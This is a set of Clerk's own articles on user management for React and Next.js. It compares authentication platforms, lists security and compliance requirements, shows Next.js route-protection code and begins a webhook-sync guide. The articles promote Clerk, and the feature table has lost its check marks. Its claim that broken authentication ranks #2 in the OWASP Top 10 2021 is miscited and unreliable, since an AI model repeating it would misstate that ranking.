Each solution has clear strengths. Auth0 remains a strong choice for teams that need a battle-tested enterprise CIAM platform with broad SDK coverage and extensibility through Actions. WorkOS is purpose-built for B2B applications requiring SCIM and self-service SSO configuration. Supabase Auth is compelling when you want auth tightly integrated with your Postgres database and Row Level Security. And Firebase Auth is the most straightforward path for client-rendered apps already in the Google Cloud ecosystem.

For teams building React and Next.js applications that prioritize developer experience, embedded UI components, and framework-native APIs, Clerk provides the most comprehensive integration. 11 authentication-focused React hooks — plus 7 billing hooks that extend the SDK beyond auth — embeddable prebuilt components, and keyless development mode accelerate both prototyping and production development. Clerk's [`auth()`](/docs/reference/nextjs/app-router/auth) API works consistently in Server Components, Server Actions, and Route Handlers, while [`clerkMiddleware()`](/docs/reference/nextjs/clerk-middleware) handles the proxy layer — supporting the defense-in-depth pattern recommended by the Next.js framework.

Short-lived 60-second session tokens strengthen security posture without sacrificing user experience, and proxy.ts support was available from day one of the Next.js 16 release.

**Get started:**

- Try the [Next.js quickstart](/docs/quickstarts/nextjs) — with keyless mode, no account setup is required
- Explore the full [Next.js SDK reference](/docs/reference/nextjs/overview)
- Browse [React hooks](/docs/reference/react/overview) for client-side patterns
- Review [authentication strategies](/docs/guides/configure/auth-strategies/sign-up-sign-in-options) for [social login](/glossary/social-login), SSO, [passkeys](/glossary/passkeys), and [MFA](/glossary/multi-factor-authentication-mfa)

---

# User Management for React Apps
URL: https://clerk.com/articles/comprehensive-user-management-solutions-for-modern-react-applications.md
Date: 2026-03-27
Description: The complete 2025 guide to user management for React and Next.js. Compare Clerk, Auth0, Cognito, and more. Covers build vs. buy, security, B2B patterns, and compliance.

**User management encompasses far more than login forms.** From password resets and session tokens to organization hierarchies and enterprise [SSO](/glossary/single-sign-on-sso), the scope catches most development teams off guard — and building these features from scratch typically costs $250,000–600,000 over 6–12 months. Authentication vulnerabilities consistently rank among the top security risks, with broken authentication listed as #2 in OWASP's Top 10 ([OWASP Top 10, 2021](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)). Clerk, Auth0, AWS Cognito, and Firebase each address different segments, with Clerk offering the most complete React and Next.js integration for both B2C and B2B use cases. This guide examines what comprehensive user management actually requires, analyzes the build-vs-buy tradeoff with concrete data, and compares today's leading platforms.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

| Topic                  | Finding                                                                                                                                                                                                                                                        | Impact                                                     |
| ---------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------- |
| **Build time**         | Custom auth takes 5-6 weeks (basic) to 12+ months (production-grade) ([FusionAuth, 2024](https://fusionauth.io/buildvsbuy))                                                                                                                                    | Significant delay to core product development              |
| **Cost comparison**    | DIY: $700K–$1.95M vs Managed: $25K–$60K over 3 years                                                                                                                                                                                                           | 10-30x cost savings with managed solutions                 |
| **Credential attacks** | 22% of breaches start with credential abuse ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/))                                                                                                                                   | Authentication is the #1 attack vector                     |
| **MFA effectiveness**  | Blocks 99.9% of account compromises ([Microsoft, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/))                                                                   | Essential security control, complex to implement correctly |
| **Enterprise SSO**     | 63% of organizations have implemented zero-trust strategies requiring SSO ([Gartner, 2024](https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy)) | Required for B2B enterprise sales                          |

## The true scope of user management

User management extends across at least ten distinct functional areas, each with its own security implications and edge cases. Developers frequently underestimate this scope, treating authentication as a weekend project rather than a core infrastructure decision.

**Authentication methods** alone span email/password, social [OAuth](/glossary#oauth) (Google, GitHub, Facebook), [passwordless](/glossary#passwordless-login) options ([magic links](/glossary#magic-links), [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys), [WebAuthn](/glossary#webauthn)), [multi-factor authentication](/glossary#multi-factor-authentication-mfa) ([TOTP](/glossary#authenticator-apps-totp), SMS, hardware keys), and enterprise [SSO](/glossary/single-sign-on-sso) (SAML, OIDC). For B2B SaaS products, SSO support is often a prerequisite for enterprise deals and can significantly improve conversion rates for enterprise customers ([Clerk B2B SaaS, 2026](/b2b-saas)).

[**Session management**](/glossary#session-management) requires cryptographically random tokens, proper cookie security attributes, idle and absolute timeouts, multi-device handling, and secure session regeneration after privilege changes. The OWASP Session Management Cheat Sheet documents over twenty specific security requirements, from TLS implementation to [session fixation](/glossary#session-fixation) prevention ([OWASP, 2024](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)).

**Password lifecycle** involves secure hashing—Argon2id is now OWASP's top recommendation ([OWASP Password Storage, 2024](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html))—breached password detection against databases like HaveIBeenPwned, reset flows with one-time tokens, [rate limiting](/glossary#rate-limiting) by IP and account, and crucially, invalidating all existing sessions after password changes. Session invalidation failures remain a commonly exploitable vulnerability pattern ([Adhikari, 2024](https://medium.com/@ad.abhi0013/understanding-session-management-vulnerabilities-the-case-of-password-resets-0f5bb123f598)).

**User profiles and metadata** require handling custom fields, avatars, preferences, multiple email addresses, external IDs for migrations, and the distinction between public metadata (for client-readable RBAC data) and private metadata (server-only sensitive information).

For B2B applications, the complexity multiplies. **Organization management** demands [multi-tenant](/glossary/multi-tenancy) data isolation, workspace hierarchies, organization-level settings and branding, domain verification for membership restrictions, and seamless context switching between organizations. **Role-based access control** requires permission modeling, predefined and custom roles, granular resource-level permissions, and role inheritance patterns ([Frontegg RBAC Guide, 2024](https://frontegg.com/guides/roles-and-permissions-handling-in-saas-applications)).

Enterprise customers expect **SSO integration**—63% of organizations have implemented [zero-trust](/glossary#zero-trust-architecture) strategies that require identity verification—along with **[SCIM provisioning](/glossary#directory-sync)** for automated user lifecycle management, comprehensive **[audit logs](/glossary#audit-logs)** meeting [SOC 2](/glossary#soc-2) requirements ([Frontegg, 2024](https://frontegg.com/blog/audit-logs-for-saas-enterprise-customers)), and **admin impersonation** capabilities for customer support.

Finally, **user lifecycle management** must handle account deletion (GDPR's "right to be forgotten"), data export (data portability requirements), consent management, and compliance with regulations including SOC 2, GDPR, [CCPA](/glossary#california-consumer-privacy-act-ccpa), and potentially [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa).

## Why building authentication is harder than it appears

Building production-grade authentication takes significantly longer than most teams anticipate:

| Feature                             | Development Time     | Estimated Cost           |
| ----------------------------------- | -------------------- | ------------------------ |
| Basic email/password + social login | 5-6 weeks            | $14,000-20,000           |
| TOTP-based MFA                      | 8-10 weeks MVP       | $50,000-150,000          |
| Enterprise SSO (SAML/OIDC)          | 3-6 developer-months | $250,000-500,000         |
| Full production system              | 12+ months           | $250,000-600,000 initial |

*Source: FusionAuth Build vs Buy Analysis, 2024*

The three-year total cost of ownership for custom authentication reaches $700,000 to $1.95 million when accounting for ongoing maintenance, security updates, and feature additions. By contrast, managed solutions cost approximately $25,000-60,000 over three years at 10,000 monthly active users.

### Hidden complexities that catch teams

**Password reset flows** require tracking unique one-time tokens, rate limiting by IP and account to prevent [brute force](/glossary#brute-force-detection), and invalidating all existing sessions—a security requirement that developers frequently overlook.

**Session management edge cases** multiply quickly: handling [JWT](/glossary#json-web-token) tokens across multiple browsers and devices, implementing [refresh token](/glossary#refresh-token) rotation for compromised sessions, and ensuring proper session destruction server-side. Developers often forget session invalidation during password reset processes—a vulnerability that attackers actively exploit.

**Username comparison** presents unexpected pitfalls: identical-looking usernames may not compare equal due to Unicode normalization issues. Password hashing requires migration paths when algorithms change. Account merging flows for users who signed up with different methods demand careful data reconciliation.

### The security risk calculation

22% of breaches begin with credential abuse, and 88% of basic web application attacks involve stolen credentials. MFA can block over 99.9% of account compromise attacks—yet implementing MFA correctly requires expertise most application teams lack.

Common DIY vulnerabilities include passwords stored unhashed or improperly hashed, clear-text passwords in log files, password reset forms exploitable via social engineering, hardcoded JWT tokens in source code, and missing rate limiting.

## Comparing user management platforms

The market offers several mature options, each with distinct strengths and tradeoffs. The right choice depends on your tech stack, team size, budget constraints, and specific feature requirements.

### Platform feature comparison

| Feature                          | Clerk          | Auth0          | AWS Cognito | Firebase         | Supabase    |
| -------------------------------- | -------------- | -------------- | ----------- | ---------------- | ----------- |
| **Free tier (MRU/MAU)**          | **50,000 MRU** | **25,000**     | 10,000      | **50,000**       | **50,000**  |
| **MFA**                          |                |                |             | Upgrade required |             |
| **SSO/SAML**                     |                |                |             | Upgrade required | Paid add-on |
| **Organization Management**      |                |                |             |                  | Manual      |
| **RBAC**                         |                |                | Limited     |                  | Via RLS     |
| **React/Next.js SDK**            |                |                |             | Limited          |             |
| **Pre-built UI Components**      |                | Basic          | Basic       | Basic            |             |
| **Extensibility / Custom Logic** | Limited        |                |             | Limited          |             |
| **Self-hosting Option**          |                |                |             |                  |             |
| **Vendor Lock-in Risk**          | **Low**        | Medium         | High (AWS)  | High (Google)    | **Low**     |
| **Documentation Quality**        | Excellent      | Good (complex) | Poor        | Good             | Excellent   |

*Sources: [Clerk, 2026](/docs), [Auth0, 2025](https://auth0.com/docs), [AWS Cognito, 2025](https://docs.aws.amazon.com/cognito/), [Firebase, 2025](https://firebase.google.com/docs/auth), [Supabase, 2025](https://supabase.com/docs/guides/auth)*

### Platform deep dive: Clerk

Clerk has become a popular choice for React and Next.js developers, with over 700,000 weekly npm downloads for its React SDK ([NPM Trends, 2026](https://npmtrends.com/@clerk/clerk-react)). The platform manages authentication for thousands of applications, from early-stage startups to large-scale enterprises ([Clerk, 2026](/user-authentication)).

Several architectural decisions differentiate Clerk from alternatives:

**Pre-built, customizable components** handle both frontend rendering and backend logic. Components like [`<SignIn />`](/docs/reference/components/authentication/sign-in), [`<UserButton />`](/docs/reference/components/user/user-button), and [`<OrganizationSwitcher />`](/docs/reference/components/organization/organization-switcher) provide production-ready UI while remaining fully customizable. With the release of Core 3, Clerk introduced the unified `<Show>` component for conditional rendering based on auth state, and automatic light/dark theme detection. As Guillermo Rauch, Vercel's CEO and Next.js creator, noted: "Clerk is the Stripe Checkout of authentication and user management, except it's built for React." ([Clerk, 2023](/blog/series-a))

**First-class Next.js integration** supports App Router, Pages Router, and React Server Components ([Clerk, 2026](/blog/nextjs-authentication)). The [`clerkMiddleware()`](/docs/reference/nextjs/clerk-middleware) function protects routes before they reach your application—configured via `proxy.ts` in Next.js 16, which runs on Node.js runtime (not Edge)—while the [`auth()`](/docs/reference/nextjs/auth) helper provides server component authentication and [`useAuth()`](/docs/reference/hooks/use-auth) handles client components.

**Native B2B capabilities** include Organizations with hierarchical team structures, [custom RBAC](/docs/guides/organizations/control-access/roles-and-permissions) with up to 10 roles per application, verified domain restrictions for membership, and pre-built billing components ([Clerk, 2026](/docs/guides/organizations/overview)). The free tier includes 100 monthly retained organizations (MROs) with up to 5 members each.

**Security certifications** cover SOC2 Type II, HIPAA, GDPR, and CCPA compliance ([Clerk, 2026](/user-authentication)). Third-party penetration testing follows OWASP Testing Guide and NIST Technical Guide standards.

**Considerations:** Clerk is a fully managed service with no self-hosting option, which may not suit teams with strict data residency requirements. Its extensibility model is more opinionated than Auth0's Actions framework, trading flexibility for simplicity.

Implementation typically takes minutes rather than weeks. As Turso documented after their migration: "In terms of development speed, I'm not aware of another solution that has something similar to Clerk's Account Portal." ([Turso Blog, 2024](https://turso.tech/blog/why-we-transitioned-to-clerk-for-authentication))

### Platform deep dive: Auth0

Auth0 remains the most feature-complete enterprise solution, offering capabilities that justify its premium for organizations with complex requirements.

**Extensibility through Actions** provides a powerful framework for custom authentication logic. Teams can inject code at any point in the authentication pipeline—post-login, pre-registration, password reset, and more. For organizations with complex authorization rules or legacy system integrations, this flexibility is often decisive.

**Enterprise-grade features** include excellent [OIDC](/glossary#openid-connect) compliance, comprehensive B2B multi-tenancy through Organizations, and mature integrations with enterprise [identity providers](/glossary#identity-provider-sso-idp-sso). Auth0's long track record in the enterprise space means better support for edge cases and unusual configurations.

**Considerations:** Auth0's pricing has drawn criticism for what developers call the "growth penalty"—cost is frequently cited as a primary reason developers migrate away ([SSOJet, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty); [SuperTokens, 2024](https://supertokens.com/blog/auth0-vs-clerk)). The platform's breadth can also translate to complexity; teams report steeper learning curves compared to more opinionated alternatives.

### Platform deep dive: AWS Cognito

Cognito makes sense for teams deeply invested in the AWS ecosystem, offering native integration with Lambda, API Gateway, and other AWS services.

**Lambda triggers** enable sophisticated custom workflows at every authentication touchpoint—pre-signup validation, post-confirmation actions, token generation customization, and more. For teams already running on AWS, this integration can simplify architecture significantly.

**Cost efficiency at scale** becomes apparent for high-volume applications, as Cognito's pricing model favors large MAU counts more than some competitors.

**Considerations:** Developer experience has drawn consistent criticism. Common pain points include rigid user pools that cannot add attributes after creation, limited disaster recovery capabilities, and rate limits that cause throttling at scale. Documentation quality lags behind competitors, and the learning curve for proper IAM configuration is substantial.

### Platform deep dive: Supabase Auth

Supabase offers the strongest value proposition for budget-conscious teams and those prioritizing open-source flexibility.

**Generous free tier** of 50,000 MAU makes it accessible for side projects and early-stage startups. The open-source model means teams can self-host with full control over their data—a decisive factor for organizations with strict data residency or sovereignty requirements.

**PostgreSQL-native integration** through Row Level Security provides elegant authorization patterns for teams already using Postgres. Authentication and authorization logic lives alongside your data, simplifying the mental model.

**Excellent developer experience** with strong React integration, good documentation, and active community support. Edge Functions provide extensibility when needed.

**Considerations:** Native organization management requires manual implementation, and RBAC patterns are less turnkey than dedicated B2B platforms. Enterprise SSO is a paid add-on rather than built-in.

### Platform deep dive: Firebase Authentication

Firebase works well for mobile-first applications within the Google ecosystem, particularly for teams already using Firestore or other Firebase services.

**Strong mobile SDKs** and seamless integration with Google Cloud services make it a natural choice for Android/iOS applications with Google Cloud backends.

**Generous free tier** of 50,000 MAU and simple getting-started experience lower the barrier to entry.

**Considerations:** Enterprise features are limited without upgrading to Identity Platform. Built-in RBAC, audit logs, and organization management are absent, requiring either custom implementation or the significantly more expensive Identity Platform tier. Vendor lock-in to the Google ecosystem is substantial.

## Security and compliance requirements

Proper user management must satisfy both technical security standards and regulatory compliance requirements.

### OWASP authentication best practices

The OWASP Authentication Cheat Sheet establishes foundational requirements ([OWASP, 2024](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)):

**Multi-factor authentication** is "by far the best defense against the majority of password-related attacks" ([OWASP, 2024](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)). Require some form of MFA for all users, TOTP for user-enabled MFA, and mandatory MFA for administrators. Prefer possession-based factors ([hardware keys](/glossary#hardware-keys)) or biometrics over SMS.

**Password policies** should require minimum 8 characters with MFA enabled or 15+ characters without, allow maximum lengths of at least 64 characters for passphrases, permit all characters including Unicode and whitespace, and avoid composition rules. Contrary to older guidance, **avoid periodic password changes**—encourage strong passwords plus MFA instead.

**Session security** demands unique session IDs that are cryptographically random, secure cookie flags, SameSite attributes to prevent [CSRF](/glossary#cross-site-request-forgery-csrf), idle timeouts of 15-30 minutes for high-value applications, absolute timeouts of 2-24 hours, and session ID regeneration after authentication.

**Password storage** requires modern hashing algorithms: Use Argon2id with a minimum configuration of 19 MiB of memory, an iteration count of 2, and 1 degree of parallelism. If Argon2id is not available, use scrypt or bcrypt with a work factor of 10 or more. Never use MD5, SHA-1, or plain SHA-256.

### Regulatory compliance overview

**SOC 2** requires implementation of 64+ controls across five Trust Services Criteria: security, availability, processing integrity, confidentiality, and privacy. Key user management controls include MFA implementation, RBAC, user provisioning/deprovisioning workflows, access logging, and regular access reviews. Achieving SOC 2 compliance independently takes 18-24 months and costs $75,000-200,000+; with managed authentication platforms, the timeline shortens to 6-12 months at $20,000-60,000 ([AICPA, 2025](https://www.aicpa.org/)).

**GDPR** mandates user rights including access (users can request copies of personal data), rectification (correct inaccurate data), erasure (delete data when no longer necessary or upon withdrawal of consent), and portability (export in machine-readable format). Non-compliance penalties reach €20 million ($21 million USD) or 4% of global annual turnover ([European Commission, 2018](https://eur-lex.europa.eu/eli/reg/2016/679/oj)).

**CCPA/CPRA** applies to businesses with annual revenue exceeding $26.6 million (adjusted for inflation as of 2025), 50%+ revenue from selling personal information, or data from 100,000+ California consumers ([California Privacy Protection Agency, 2025](https://cppa.ca.gov/regulations/cpi_adjustment.html)). Required capabilities include "Do Not Sell My Personal Information" links, 45-day response windows for consumer requests, and identity verification before fulfilling requests.

## B2B SaaS user management architecture

B2B applications face additional complexity around multi-tenancy, organization structures, and enterprise sales requirements. [Understanding multi-tenancy](/blog/what-is-multi-tenancy-and-why-it-matters-for-B2B-SaaS) is foundational—it's the architecture pattern that allows a single application instance to serve multiple customers while keeping their data, configurations, and workflows isolated. Without it, you'd face mounting technical debt from coordinating migrations across separate databases, fragmented monitoring, and impossible-to-scale infrastructure.

### Multi-tenancy implementation patterns

Three primary patterns exist for tenant data isolation:

**Shared database with tenant identifiers** adds an `organization_id` column to every table—simplest and most cost-effective but offers limited isolation. **Separate schemas per tenant** improves isolation while sharing database infrastructure. **Database-per-tenant** provides maximum isolation for strict compliance requirements but increases operational complexity significantly ([Daily.dev, 2024](https://daily.dev/blog/multi-tenant-database-design-patterns-2024)).

Modern authentication platforms abstract this complexity through Organizations as first-class entities. Each organization maintains isolated configurations, SSO connections, security policies, and member rosters while users can belong to multiple organizations with a single identity.

> \[!NOTE]
> Learn more about modeling your system for multi-tenancy in [this guide on our blog](/blog/how-to-design-multitenant-saas-architecture).

### Essential B2B features checklist

Core requirements every B2B SaaS needs:

- [Multi-tenant](/glossary/multi-tenancy) data isolation
- Organization/workspace support with user membership model
- Email-based invitation system with role pre-assignment
- Basic [RBAC](/glossary#role-based-access-control-rbac) (admin, member roles minimum)
- Domain-based auto-join for enterprise customers

Standard features for growth-stage applications:

- [Custom roles](/docs/guides/organizations/control-access/roles-and-permissions) and fine-grained permissions
- Organization settings and branding customization
- Pending invitation management and reminders
- User offboarding workflows with resource ownership transfer

Enterprise requirements for upmarket sales:

- [SAML/OIDC SSO](/glossary/single-sign-on-sso)—required by enterprises implementing zero-trust strategies
- [SCIM provisioning](/glossary#directory-sync) for automated user lifecycle management
- Comprehensive [audit logs](/glossary#audit-logs) with SIEM integration
- Admin impersonation with mandatory justification and audit trails
- [Just-in-time provisioning](/docs/guides/configure/auth-strategies/enterprise-connections/jit-provisioning) from IdP attributes
- Per-seat billing integration with Stripe, Chargebee, or similar

### The role-based access control foundation

Effective RBAC requires modeling four core components ([Stytch, 2024](https://stytch.com/docs/b2b/guides/rbac/overview)):

- **Resources**: The entities in your system that require access control—documents, projects, billing settings, team configurations, or any object users interact with. Define resources at the granularity that matches your authorization needs.

- **Actions**: The operations users can perform on resources, typically including create, read, update, and delete (CRUD), but often extending to domain-specific operations like "publish," "approve," or "transfer ownership."

- **Roles**: Named collections of permissions that bundle related actions across resources. Common roles include Admin (full access), Editor (create and modify), and Viewer (read-only), though B2B applications often require custom roles like "Billing Manager" or "Project Lead."

- **Role bindings**: The associations between users and roles, determining what each user can actually do. Bindings can be scoped globally, per-organization, or per-resource depending on your authorization model.

Most applications need both predefined roles (admin, editor, viewer) and custom role creation for enterprise customers ([EnterpriseReady, 2024](https://www.enterpriseready.io/features/role-based-access-control/)). Consider whether permissions apply at tenant level (all resources of a type), organization level (within organization scope), or individual resource level (most granular). Role inheritance—where Owner inherits Admin permissions, which inherits Member permissions—simplifies management for common use cases ([Stytch, 2024](https://stytch.com/blog/what-is-rbac/)).

## Implementation patterns for Next.js applications

[React Server Components](/glossary#react-server-components) fundamentally change authentication architecture. Traditional client-side approaches render authentication UI, make API calls for session data, and re-render based on state—introducing loading flickers and exposing authentication logic.

With RSC, authentication can happen entirely server-side before any HTML reaches the client. Clerk's `auth()` helper retrieves session data in Server Components without round-trips:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { auth } from '@clerk/nextjs/server'
import { Dashboard } from '@/components/Dashboard'

export default async function DashboardPage() {
  const { isAuthenticated, redirectToSignIn, userId, orgId } = await auth()

  if (!isAuthenticated) {
    return redirectToSignIn()
  }

  // User is authenticated, orgId indicates active organization
  return <Dashboard organizationId={orgId} />
}
```

The `clerkMiddleware()` function protects routes in milliseconds before requests reach your application. In Next.js 16, this is configured via `proxy.ts` (replacing the previous `middleware.ts`). Unlike `middleware.ts`, which defaulted to Edge Runtime, `proxy.ts` runs exclusively on Node.js—giving auth libraries access to the full Node.js API. Setting `export const runtime = 'edge'` in `proxy.ts` is not supported:

```ts {{ filename: 'proxy.ts' }}
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) await auth.protect()
})

export const config = {
  matcher: [
    // Skip Next.js internals and all static files, unless found in search params
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    // Always run for API routes
    '/(api|trpc)(.*)',
  ],
}
```

For B2B applications, organization context flows through the entire request:

```tsx {{ filename: 'app/team/settings/page.tsx' }}
import { auth } from '@clerk/nextjs/server'
import { AdminSettings } from '@/components/AdminSettings'
import { InsufficientPermissions } from '@/components/InsufficientPermissions'
import { NoOrganizationSelected } from '@/components/NoOrganizationSelected'

export default async function TeamSettings() {
  const { orgId, orgRole } = await auth()

  if (!orgId) {
    return <NoOrganizationSelected />
  }

  if (orgRole !== 'org:admin') {
    return <InsufficientPermissions />
  }

  return <AdminSettings />
}
```

## Making the build versus buy decision

The data strongly favors buying for most teams, but context matters.

**Build custom authentication only when** authentication is your core product differentiator, you have a dedicated security team with 3+ engineers, unique requirements exist that no platform addresses, and timeline flexibility of 12+ months is acceptable.

**Use a managed solution when** you need production-ready auth in under 3 months, your team should focus on core product development, compliance requirements (SOC 2, GDPR, HIPAA) apply, you want to avoid ongoing security maintenance, and you have fewer than 2 dedicated security engineers.

**Choosing the right platform** depends on your specific context:

- **React/Next.js teams prioritizing speed**: Clerk and Supabase both offer excellent developer experiences with strong framework integration
- **Enterprise requirements and complex authorization**: Auth0's extensibility and maturity may justify the premium
- **AWS-native architectures**: Cognito's Lambda integration provides capabilities others can't match
- **Budget constraints or data sovereignty needs**: Supabase's generous free tier and self-hosting option stand out
- **Mobile-first Google ecosystem**: Firebase remains a natural fit

## Conclusion

Comprehensive user management requires expertise across authentication protocols, session security, password handling, B2B organization structures, enterprise integrations, and regulatory compliance. The engineering effort to build and maintain this infrastructure properly far exceeds what most teams anticipate—while the security consequences of getting it wrong can be catastrophic.

Modern authentication platforms have reduced implementation time from months to hours while providing security certifications and compliance frameworks that would cost hundreds of thousands of dollars to achieve independently. For React and Next.js teams specifically, options like Clerk and Supabase offer particularly strong developer experiences, while Auth0 and Cognito serve teams with different priorities around extensibility or cloud ecosystem alignment.

The question isn't whether you can build authentication—technically capable teams certainly can. The question is whether authentication is where your limited engineering bandwidth creates the most value. For the vast majority of applications, it isn't.

## Frequently asked questions

---

# How to sync Clerk user data to your database
URL: https://clerk.com/articles/how-to-sync-clerk-user-data-to-your-database.md
Date: 2026-03-27
Description: Learn how to sync Clerk user data to your database using webhooks, handle user events, and implement production-ready patterns for real-time synchronization with PostgreSQL, Prisma, and Next.js.

**Syncing Clerk user data to your own database enables analytics dashboards, custom user profiles, and reduced API dependency — but introduces infrastructure complexity you must weigh carefully.** Configure Clerk [webhooks](/glossary#webhook) for `user.created`, `user.updated`, and `user.deleted` events, then create a webhook endpoint in your Next.js API route that verifies the Svix signature, parses the event payload, and upserts the user record into your PostgreSQL database using Prisma or Drizzle. For initial bulk migration, use Clerk's Backend API `getUserList()` with pagination to backfill existing users. This guide covers the webhook-based approach that Clerk officially recommends, complete with PostgreSQL schemas, Next.js handlers, and production-ready patterns.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

| Aspect                    | Recommendation                                                 |
| ------------------------- | -------------------------------------------------------------- |
| **Primary sync method**   | Webhooks (e.g., `user.created`)                                |
| **Bulk migration**        | Backend API with `getUserList()` pagination                    |
| **Database**              | PostgreSQL with unique index on `clerk_id`                     |
| **ORM**                   | Prisma (most Next.js adoption) or Drizzle                      |
| **Verification**          | Clerk's `verifyWebhook()` helper                               |
| **Idempotency**           | Database upserts + svix-id tracking                            |
| **When to avoid syncing** | Apps only needing current user data (use session data instead) |

## Before you sync: understand the trade-offs

Syncing Clerk user data to your database is **not always necessary**—and the Clerk team recommends avoiding it when possible. Adding a sync layer introduces infrastructure you must maintain, creates additional points of failure, and means your local database will always be **eventually consistent** with Clerk (which remains the source of truth).

Consider these alternatives first:

- **Session data**: If you only need the currently authenticated user's data, access it directly from the [session](/glossary#session). This provides strong consistency without any database sync ([Clerk Session Management, 2025](/docs/guides/sessions/session-tokens)).
- **User metadata**: For small amounts of custom data (under **1.2KB**), store it in Clerk's [`publicMetadata`](/glossary#public-metadata), `privateMetadata`, or `unsafeMetadata` fields instead of maintaining a separate table ([Clerk User Metadata Guide, 2025](/docs/guides/users/extending)).

**When syncing makes sense:**

- Your application has **social features** displaying other users' information (names, avatars, bios)
- You need to **query user data frequently** in ways that would exceed Clerk's [rate limits](/glossary#api-rate-limits) (1,000 requests per 10 seconds in production)
- You're building **analytics dashboards** or reporting systems that aggregate user data
- **Compliance requirements** mandate [audit logging](/glossary#audit-logs) of user changes
- You need to **integrate with external systems** like CRMs, email platforms, or analytics tools
- You want **reduced latency** for user data lookups in performance-critical paths

The primary method to sync Clerk user data to your database is by webhooks.

## What are webhooks and how do they work?

A [webhook](/glossary#webhook) is an event-driven method of communication between applications. Unlike traditional APIs where your application repeatedly polls for changes, webhooks push data to your application only when something actually happens. This makes them efficient for real-time synchronization without the overhead of constant API requests.

Webhooks have reached significant adoption in modern development—**50% of development teams** now use webhooks, alongside WebSockets (35%) and GraphQL (33%) ([Postman, 2025](https://voyager.postman.com/doc/postman-state-of-the-api-report-2025.pdf)). This widespread adoption reflects their efficiency: **only 1.5% of polling requests find an update**—meaning 98.5% of polling requests are wasted bandwidth and CPU cycles ([Svix, 2025](https://svix.com/resources/faq/webhooks-vs-api-polling/)).

When you configure a webhook in Clerk, you're essentially telling Clerk: "When this event occurs, send an HTTP POST request to this URL with the event data." Your application receives the request, processes the payload, and responds with a status code indicating success or failure.

**The data flow works like this:**

1. A user updates their profile in your application (or an admin makes changes via the Clerk Dashboard or Backend API)
2. Clerk detects the change and packages the updated user data into a JSON payload
3. Clerk sends an HTTP POST request to your configured webhook endpoint
4. Your webhook handler receives the request, verifies its authenticity, and processes the data
5. Your code updates your database with the new user information
6. Your handler returns a 200 status code to confirm successful processing

This event-driven architecture means your database stays synchronized with Clerk without any polling—you receive updates within seconds of changes occurring.

### Why webhook signatures matter

Webhooks introduce a security challenge: your [endpoint](/glossary#endpoint) is publicly accessible, which means anyone on the internet could theoretically send fake webhook payloads to your application. Without [signature verification](/glossary#event-webhooks-security), an attacker could inject malicious user data, delete legitimate users, or corrupt your database.

Clerk uses [Svix](https://svix.com/) for webhook infrastructure, which signs every webhook payload using **HMAC-SHA256**. Each request includes three critical headers:

- `svix-id`: A unique identifier for the webhook message
- `svix-timestamp`: When the webhook was sent (used to prevent replay attacks)
- `svix-signature`: The cryptographic signature computed from your secret key and the payload

The signature is computed by concatenating the `svix-id`, `svix-timestamp`, and raw request body, then signing this combination with your webhook secret using HMAC-SHA256. This follows the industry-standard pattern established by Stripe's webhook signatures, which includes timestamp validation for **replay attack prevention** (typically with a 5-minute tolerance window). ([Stripe's webhook signatures, 2024](https://stripe.com/docs/webhooks/signatures))

HMAC-SHA256 has strong cryptographic foundations across three specification layers: IETF RFC 2104 provides the foundational HMAC definition, IETF RFC 4868 specifies HMAC-SHA-256 for IPsec with the note that "a brute force attack on such keys would take longer to mount than the universe has been in existence," and NIST FIPS 198-1 provides the federal standard. ([IETF RFC 2104, 1997](https://datatracker.ietf.org/doc/html/rfc2104)) ([IETF RFC 4868, 2007](https://datatracker.ietf.org/doc/html/rfc4868)) ([NIST FIPS 198-1, 2008](https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.198-1.pdf))

**Treat your webhook signing secret like a password.** Anyone who possesses this secret can craft valid-looking webhook payloads that your webhook endpoint will accept. Store it in [environment variables](/glossary#environment-variables), never commit it to source control, and rotate it if you suspect compromise. In the Clerk Dashboard, you can regenerate your signing secret at any time—just remember to update your environment variables immediately after.

## Webhooks are the primary sync mechanism

Clerk uses **Svix** as its webhook infrastructure, providing reliable event delivery with automatic retries. When you configure webhooks in the Clerk Dashboard, you subscribe to specific events that trigger HTTP POST requests to your endpoint whenever users are created, modified, or deleted.

Svix implements an [exponential backoff](/glossary#backoff-retry-policy) retry strategy to handle temporary failures gracefully. If your endpoint returns a non-2xx status code or doesn't respond within 15 seconds, Svix automatically retries delivery using an exponential backoff schedule that provides multiple retry attempts over an extended period.

